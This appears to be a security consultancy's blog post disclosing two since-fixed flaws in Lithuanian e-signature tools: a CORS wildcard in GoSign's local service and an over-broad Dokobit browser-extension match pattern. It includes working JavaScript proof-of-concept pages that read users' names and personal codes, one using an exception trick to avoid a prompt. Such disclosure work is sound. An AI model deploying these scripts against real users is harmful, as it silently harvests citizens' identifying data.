Deanonymization Of Lithuanian E-Signature Users

vulnerability

In 2020, remote work and digital access to public services have become the new normal. Lithuanian citizens have multiple options for accessing different public services and signing documents online.

Certificate request Screen main pic - SEC Consult

In this article, we will discuss user privacy issues that our team has recently discovered in two independent e-signature solutions, which have been fixed by now. In the past we also discovered vulnerabilities related to e-signature,  for example,  a high risk vulnerability in the central e-government services portal allowed user impersonation.

Typical Usage Scenarios

With document signing, Lithuanian e-signature users have the choice between a few alternatives for storing public/private keys and certificates. We will use standalone government ID cards as an example. The approach described in this article should however be valid for other types of smart cards and USB tokens, except for the mobile signature option. It is worth mentioning that upon insertion of an e-signature media, only the qualified digital certificate, and not the private key, is accessible without the PIN code. This certificate contains the NAME, the SURNAME, and the PERSON CODE of the owner of the certificate. Also, in case of regular use of a smartcard/token, chances are it will remain in the card reader of the computer. Why bother disconnecting it, one may ask?

Example 1 – GoSign misconfiguration

Before exploring the first example, let’s recall what Cross-Origin Resource Sharing (CORS) is. CORS is a mechanism that enables web browsers to perform cross-domain requests using the XMLHttpRequest API in a controlled manner. These cross-origin requests have an “Origin” header, which identifies the domain starting the request.

 

One typical security issue with CORS: a web browser sends an “Origin” header, and the web server should reply with the “Access-Control-Allow-Origin” header. That same header should contain only whitelisted trusted domains. In reality, often the “Access-Control-Allow-Origin” header contains a wildcard “*”, meaning that any domain on the web can communicate with the web server ignoring CORS, without limitations. To prevent such a misconfiguration, we recommend using a whitelisting mechanism. This vulnerability falls under the category of “Security Misconfiguration” of OWASP Top 10.

GoSignCore software (version 3.1.3, dated 2020-06-18) is a standalone e-signing application used to sign documents on Windows-based systems provided by the State Enterprise Centre of Registers of Lithuania. The default installation runs a web service on the TCP port 8000 tied to the local host and is the main channel for qualified digital certificate retrieval and data signing. Because of an insecure configuration of CORS, a malicious website can interact with the GoSign web service and retrieve users’ personal information.

Let’s take the following code as a proof of concept:

<script>

var createCORSRequest = function(method, url) {
 var xhr = new XMLHttpRequest();
 if ("withCredentials" in xhr) {
  // Most browsers.
  xhr.open(method, url, true);
 } else if (typeof XDomainRequest != "undefined") {
  // IE8 & IE9
  xhr = new XDomainRequest();
  xhr.open(method, url);
 } else {
  // CORS not supported.
  xhr = null;
 }
 return xhr;
};

var url = 'https://localhost:8000/certs';
var method = 'GET';
var xhr = createCORSRequest(method, url);

xhr.onload = function() {
document.write("<pre>"+JSON.stringify(JSON.parse(xhr.response), null, 2)+"</pre>");

};

xhr.send();

</script>

It is probable that the example code is hosted somewhere on the web or embedded in a legitimate web page using, for instance, a stored cross-site scripting vulnerability, or fully compromising the target website. For it to work, the user of the vulnerable e-signing software has to access this website containing the malicious code. See below the output of the script:

Example code with personal data screen - SEC Consult

As you might guess, the output contains the personal data of the certificate owner, where SERIALNUMBER is the personal code of a Lithuanian citizen. We use this output as an example only since, during an actual attack, the victim would not get any warning nor see any output. Besides, the perpetrator would collect and store the data visible on the screenshot.

Manifest.json configuration file screenshot - SEC Consult

EXAMPLE 2 – DOKOBIT MISCONFIGURATION

Dokobit e-signing solution enables smart-card interactions and uses a custom browser extension – a third-party software module that extends the functionality of a web browser, letting users customize their browsing experience- to interact with the smartcard reader software. Because they interact directly with untrusted web content, extensions are at risk of attack from malicious website operators and active network attackers.

With the Dokobit Firefox browser extension, let’s look at the manifest.json configuration file from the extension package to see the problem:

Here we can observe one of the typical browser extension related vulnerabilities, which enables the affected extension to run from any context. Here, the content_scripts parameter specifies that the browser extension gets injected in all web pages as defined by the match pattern *://*/*, meaning that malicious websites can interact with it. Since the extension is used to enhance the functionality of document e-signing, the best is to limit it to only the “Dokobit” website context.

Like in the previous example, the following code can be hosted on the web:

<html> 
<head></head> 

<body> 
<script> 

function start() { 
aa = new IsignChromeSigning() 
aa.getCertificate({"lang":"en","certificatePurpose":"signsss","isInitial":false,"policyI
ds":[],"bulkSigning":false}).then((val)=>document.write("<pre>"+JSON.stringify(val,null,2)+"</pre>")).catch((val) => document.write(val));; 
} 

setTimeout(function(){ start(); }, 3000); 

</script> 
</body>

The code also uses an extra trick to silently gather personal data. Here, an incorrect value passed to the certificate purpose parameter triggers an exception which returns an error containing the personal data of a user. Without this trick, a certificate selection pop-up is displayed for the user to click on — making any attack impossible since such behavior raises suspicion. The malicious website could ultimately gather personal information about the user as shown in the screenshot:

Personal information collection and violation Screen - SEC Consult

During a genuine attack, the victim would not get any warning, nor see any output, plus the attacker could store this data.

Conclusion

We have briefly shown how trivial vulnerabilities can affect the privacy of end-users. Everyone knows the worth of personal data for data mining companies, hackers preparing phishing attacks, and other exploitation vectors not discussed within this article. E-signature software requires a higher level of security by default, but reality shows that even the most widely used solutions are not faultless. In a nutshell, a secure software development life cycle is either not established or insufficient in terms of quality assurance of sensitive pieces of e-signature software.

Want to improve your own cyber security with the experts of SEC Consult?

Contact us

About the author

Miroslav Lučinskij
SEC Consult Group
Managing Director Lithuania

Miroslav Lučinskij is an expert in information security and penetration testing and is the co-author of “Basics of data security” book. He has released multiple security advisories in applications such as Skype, QlikView, VLC etc. He is the deputy Lithuanian OWASP chapter leader and is regularily speaking at conferences about social engineering, application security and network threats.

Back